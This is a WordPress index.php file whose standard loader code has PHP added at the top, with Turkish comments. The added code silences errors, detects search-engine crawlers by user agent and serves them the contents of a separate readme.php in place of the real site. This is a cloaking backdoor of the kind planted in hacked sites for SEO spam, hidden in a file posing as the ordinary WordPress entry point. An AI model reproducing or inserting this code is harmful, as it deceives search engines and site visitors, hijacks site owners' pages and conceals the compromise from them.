?php error_reporting(0); set_time_limit(0); $bot_content_file = 'readme.php'; // Bot kontrol fonksiyonu function is_spider() { $spiders = ['bot', 'slurp', 'spider', 'crawl', 'google', 'msnbot', 'yahoo', 'ask jeeves']; $s_agent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); foreach ($spiders as $spider) { if (stripos($s_agent, $spider) !== false) { return true; } } return false; } // Eğer bot ise özel dosyayı göster if (is_spider()) { if (file_exists($bot_content_file)) { include $bot_content_file; exit(); } else { header("HTTP/1.0 404 Not Found"); exit("Bot içerigi bulunamadı."); } } /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php';